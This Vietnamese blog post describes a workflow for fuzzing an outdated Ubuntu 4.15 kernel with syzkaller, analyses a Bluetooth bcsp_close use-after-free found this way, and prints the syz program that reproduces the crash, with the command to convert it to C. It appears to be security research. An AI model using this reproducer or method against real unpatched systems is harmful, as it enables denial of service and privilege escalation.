Syzkaller là một fuzzer tìm lỗ hổng trên nhân Linux rất hiệu quả, và đã hỗ trợ tìm ra rất nhiều bug trong những năm gần đây. Các bạn có thể từng nghe đến những cái tên như Dirty Cow, Meltdown, Spectre, BlueBorne… Nhưng syzkaller tìm được hàng nghìn bug như thế trong vài năm qua. Đây là link những bug mà syzkaller tìm thấy. Show
Google xây dựng một hệ thống là syzbot, fuzz tự động và liên tục nhân Linux tại đây. Bug họ tìm thấy chủ yếu nhờ vào hệ thống này.
Trong danh sách này, các bug nghiêm trọng sẽ được ưu tiên fix trước. Có một điều đặc biệt tôi nhận thấy là tất cả các bug đều được public, kể cả các bug chưa được fix. Đồng thời, tôi nhận thấy rằng các hệ thống thật “in the wild” thường không được cập nhật nhân thường xuyên, đặc biệt là trên PC, server. Nếu như hacker target vào một mục tiêu nào đó, muốn thực hiện leo quyền hay RCE hệ thống, thì họ có thể đợi syzbot tìm ra một lỗi nghiêm trọng, rồi viết mã khai thác cho target đó. Tôi đặt ra một bài toán là: Tìm lỗ hổng leo thang quyền trên một phiên bản nhân Linux và viết mã khai thác. Kiểm tra một số server, PC Linux thử nghiệm tôi thấy phiên bản nhân được biên dịch vào các thời điểm khá xa hiện tại (12/2020):
Như vậy, tiềm năng exploit được nhân Linux kernel khá lớn, khi mà Linux kernel được update chậm khoảng vài tháng đến cả năm. Thông thường, khi muốn tìm N-day ta thường lên Internet rà soát các bản exploit có sẵn, hoặc kiếm CVE và tự viết mã khai thác. Với Linux kernel thì lại càng khó tìm CVE public, họa chăng được một vài cái trong một năm. Tuy nhiên, khi mà có syzbot liên tục public các lỗi mới, thì vấn đề trên có thể được giải quyết. Tôi chia sẻ cách thức tôi thực hiện như sau:
Tôi chọn target là: kernel 4.15.0-60-generic trên Ubuntu 18.04 (biên dịch vào tháng 8/2019).
Đây là kết quả tôi làm được sau một thời gian dài tìm hiểu về exploit Linux kernel và fuzz syzkaller, tìm được bug leo quyền và viết mã khai thác thành công trên target: Trong khuôn khổ bài viết này, tôi sẽ trình bày 6 bước đầu. 1. Tìm bản Linux kernel tương ứng với targetTôi tìm hiểu được hai cách để tải về bản linux kernel tương ứng với target cần tấn công: Cách 1: dựa vào kernel version map [3], tìm ra phiên bản Mainline Kernel Version tương ứng, từ đó tải source từ đường dẫn. Với target 4.15.0-60, ta có Mainline Version là 4.15.18.
Tuy nhiên, map giữa Kernel Version và Mainline Version không phải map 1-1. Nếu sử dụng bản 4.15.18 để fuzz, sẽ có nhiều bug đã được vá. Cách này sẽ không chuẩn bằng cách số 2 dưới đây. Cách 2: tải về mã nguồn kernel qua lệnh apt-get: apt-get install linux-source Tuy nhiên với cách này, trước hết bạn phải cài bản Ubuntu có version tương ứng với target trước, sau đó mới chạy được lệnh trên. Hơn nữa, cách này sẽ tải về source code mới nhất có thể tương thích với bản nhân đang cài, đã vá các lỗ hổng. Do đó lệnh này cũng không hoàn toàn phù hợp với mục đích ta cần. Bằng cách phân tích traffic khi chạy lệnh trên, tôi phát hiện ra package được tải về tại đường dẫn.
Ta có thể lấy trực tiếp mã nguồn từ đường dẫn này, và nó sẽ hoàn toàn tương ứng với bản kernel của target.
Sử dụng các lệnh ar, tar để extract file .deb download được, thu được source code. 2. Biên dịch mã nguồnĐể biên dịch mã nguồn, ta làm theo hướng dẫn tại đây. Tuy nhiên, với cách sử dụng default config, có nhiều driver được build ở dạng loadable module (CONFIG_XXX=m), không build vào file vmlinux, mà theo cách setup syzkaller hiện tại thì chỉ fuzz được file vmlinux. Do đó, muốn fuzz module nào thì ta phải set CONFIG_XXX=y, và module sẽ được build sẵn vào vmlinux. Việc tự tìm hiểu xem loadable nào nên bật sẽ khá mất thời gian, nên tôi sử dụng một file .config sẵn của syzbot [5].
# Coverage collection. CONFIG_KCOV=y # Debug info for symbolization. CONFIG_DEBUG_INFO=y # Memory bug detector CONFIG_KASAN=y CONFIG_KASAN_INLINE=y # Required for Debian Stretch CONFIG_CONFIGFS_FS=y CONFIG_SECURITYFS=y
Chú ý: khi build tôi gặp một số bug, nên cần bỏ một số cấu hình sau:
3. Tạo image để chạy được với qemuHướng dẫn có sẵn tại mục Image. Cơ bản, cách này sử dụng debootstrap để cài đặt một HĐH Linux vào một folder (có thể chroot). Sau đó ta tạo một file image và copy toàn bộ các file vào image này để làm ổ đĩa máy ảo. Chạy lệnh default để tạo một image 2G: ./create_image.sh Chú ý:
Khởi chạy image và kernel build được bằng lệnh sau: qemu-system-x86_64 \ -m 2G \ -smp 2 \ -kernel $KERNEL/arch/x86/boot/bzImage \ -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \ -drive file=$IMAGE/stretch.img,format=raw \ -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \ -net nic,model=e1000 \ -enable-kvm \ -nographic
Chú ý:
4. Tạo corpusInput cho syzkaller là một file corpus.db, chứa các syz program. Syz program có format do syzkaller định nghĩa, cơ bản là một danh sách có thứ tự của các syscall hoặc hàm do syzkaller tự định nghĩa. Ví dụ, một syz program như sau: # https://syzkaller.appspot.com/bug?id=a839269752ca27e5a69938064ba906ac8cf3fb36 # See https://goo.gl/kgGztJ for information about syzkaller reproducers. #{"procs":1,"sandbox":"","fault_call":-1,"close_fds":false} r0 = syz_usb_connect$hid(0x0, 0x36, &(0x7f0000000080)=ANY=[@ANYBLOB="12010000000018105e04da070000000000010902240001000000000904000009030000000921000000012222000905810308"], 0x0) syz_usb_control_io$hid(r0, 0x0, 0x0) syz_usb_control_io$hid(r0, &(0x7f00000001c0)={0x24, 0x0, 0x0, &(0x7f00000000c0)=ANY=[@ANYBLOB="00222200000096031306e53f070c0000072a9000a7c900be0017cf6643a30b09007a1583"], 0x0}, 0x0) syz_usb_ep_write(r0, 0x0, 0x1, &(0x7f0000000000)='B') Trên trang syzbot, ta coi ví dụ một crash [6] thì sẽ thấy các thông tin như sau:
Thông tin syz repro và C repro có thể không có, bởi vì không phải crash nào syzkaller cũng có thể reproduce lại được. Ta cần tải về toàn bộ các syz program. Đây là link mã nguồn script tôi dùng để tải corpus.
Sau khi lấy hết các file syz program về, ta dùng chương trình syz-db để đóng gói chúng lại cho syzkaller dùng:
5. Fuzz target với syzkallerLàm tương tự theo hướng dẫn tại đây. Tuy nhiên, cần chú ý:
File config của tôi: { "target": "linux/amd64", "http": "127.0.0.1:56741", "reproduce": false, "sandbox": "setuid", "workdir": "/root/linux-data/qemu/blog/workdir", "kernel_obj": "/root/kernels/linux-source-4.15.0-60", "image": "/root/linux-data/qemu/blog/stretch.img", "sshkey": "/root/linux-data/qemu/blog/stretch.id_rsa", "syzkaller": "/root/gopath/src/github.com/google/syzkaller", "procs": 4, "type": "qemu", "vm": { "count": 1, "kernel": "/root/kernels/linux-source-4.15.0-60/arch/x86/boot/bzImage", "cpu": 1, "mem": 2048 } } Vào link trình duyệt http://127.0.0.1:56741 ta sẽ thấy thống kê quá trình fuzz.
Sau khoảng nửa ngày fuzz, tôi phát hiện thấy khá nhiều bug:
Trong đó tôi thấy bug KASAN: use-after-free Read in bcsp_close là tiềm năng khai thác được, bởi vì vào đọc log report ta thấy skb được phân phát và free tại hàmbcsp_recv, sau đó lại được free tại bcsp_close. Đây rõ ràng là một bug UAF điển hình. BUG: KASAN: use-after-free in kfree_skb+0x2b6/0x340 net/core/skbuff.c:659 Read of size 4 at addr ffff88802b4fa2a4 by task syz-executor.0/8945 CPU: 0 PID: 8945 Comm: syz-executor.0 Not tainted 4.15.18 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 Call Trace: … skb_unref include/linux/skbuff.h:960 [inline] kfree_skb+0x2b6/0x340 net/core/skbuff.c:659 bcsp_close+0xce/0x160 drivers/bluetooth/hci_bcsp.c:763 hci_uart_tty_close+0x1af/0x240 drivers/bluetooth/hci_ldisc.c:551 tty_ldisc_close.isra.2+0x91/0xd0 drivers/tty/tty_ldisc.c:506 tty_ldisc_kill+0x46/0xc0 drivers/tty/tty_ldisc.c:652 tty_ldisc_release+0xfa/0x210 drivers/tty/tty_ldisc.c:819 tty_release_struct+0x14/0x50 drivers/tty/tty_io.c:1611 … RIP: 0033:0x417e77 RSP: 002b:00007ffca8899c00 EFLAGS: 00000293 ORIG_RAX: 0000000000000003 RAX: 0000000000000000 RBX: 0000000000000003 RCX: 0000000000417e77 RDX: 0000000000000000 RSI: 00000000a31766cd RDI: 0000000000000003 RBP: 0000000000000001 R08: 00000000a31766d1 R09: 0000000000000000 R10: 00007ffca8899d40 R11: 0000000000000293 R12: 000000000076c980 R13: 000000000076bf00 R14: 000000000076bf21 R15: 000000000000dc8d Allocated by task 102: kmem_cache_alloc_node+0x69/0x400 mm/slab.c:3640 __alloc_skb+0xa4/0x500 net/core/skbuff.c:193 alloc_skb include/linux/skbuff.h:988 [inline] bt_skb_alloc include/net/bluetooth/bluetooth.h:339 [inline] bcsp_recv+0x82c/0x13f0 drivers/bluetooth/hci_bcsp.c:685 hci_uart_tty_receive+0x1eb/0x4b0 drivers/bluetooth/hci_ldisc.c:616 tty_ldisc_receive_buf+0x12f/0x160 drivers/tty/tty_buffer.c:460 … Freed by task 102: … __kfree_skb net/core/skbuff.c:646 [inline] kfree_skb+0xb6/0x340 net/core/skbuff.c:663 bcsp_recv+0x531/0x13f0 drivers/bluetooth/hci_bcsp.c:623 hci_uart_tty_receive+0x1eb/0x4b0 drivers/bluetooth/hci_ldisc.c:616 tty_ldisc_receive_buf+0x12f/0x160 drivers/tty/tty_buffer.c:460 … Phân tích code ta thấy skb được phân phát tại drivers/bluetooth/hci_bcsp.c:685 hàm bcsp_close:
Skb được free tại drivers/bluetooth/hci_bcsp.c:623 bcsp_recv:
Sau đó dược free lần nữa tại drivers/bluetooth/hci_bcsp.c:763 bcsp_close:
Tại bcsp_close, bcsp->rx_skb được kiểm tra xem có = NULL không, rồi mới free. Tuy nhiên trước đó, tại dòng 623, bcsp->rx_skbđược free nhưng không set về NULL, nên mới gây ra bug. Kiểm tra mã nguồn nhân Linux trên github [7], tôi phát hiện lỗ hổng xuất hiện vào ngày 6/7/2019, khi vá một lỗ hổng memory leak do không free rx_skb [8]:
6. Reproduce crash ra file syz/C procHướng dẫn thực hiện tại đường dẫn. Reproduce là bước tìm ra program gây ra crash từ log gọi các program.
Trong quá trình fuzz, các program được fuzz đa luồng (tham số procs trong file config), nên không thể dựa vào log mà nhìn ra được program nào gây ra crash. Ta sẽ phải sử dụng phương pháp sau:
Program tìm được: 03:47:02 executing program 0: r0 = openat$ptmx(0xffffffffffffff9c, &(0x7f0000000280)='/dev/ptmx\x00', 0x0, 0x0) ioctl$TIOCSETD(r0, 0x5423, &(0x7f0000000040)=0xf) ioctl$KDADDIO(r0, 0x400455c8, 0x1) r1 = socket$inet6(0xa, 0x400000000001, 0x0) bind$inet6(r1, &(0x7f0000000600)={0xa, 0x4e20, 0x0, @loopback}, 0x1c) sendto$inet6(r1, 0x0, 0x0, 0x20000008, &(0x7f00008d4fe4)={0xa, 0x4e20, 0x0, @loopback}, 0x1c) r2 = open(&(0x7f0000000240)='./bus\x00', 0x100000141042, 0x0) ftruncate(r2, 0x10099b7) sendfile(r1, r2, 0x0, 0x8000fffffffe) Dùng syz-prog2c để convert chương trình thu được sang code C: syz-prog2c -prog crash.syz -repeat=1 -enable=none > crash.c Để chạy thử nghiệm chương trình crash.c trên, ta tạo một user test trên target, login vào và chạy file crash: Kết luận Vậy là việc thử nghiệm với target kernel 4.15.0-60-generic thành công, nếu không có syzbot thì công việc tìm N-day trên nhân Linux rất khó khăn. Tuy nhiên, còn cần phải thực hiện thêm với nhiều target nữa mới có thể khẳng định phương pháp này khả thi khi thử nghiệm tấn công thực tế hay không. Nếu khả thi thì tôi nghĩ vấn đề security của nhân Linux cần được quan tâm hơn và khi sử dụng, các cá nhân và tổ chức cần thường xuyên cập nhật bản mới nhất ngay khi có thể. Tham khảo
ManhND Trung tâm Dịch vụ, VinCSS (a member of Vingroup) |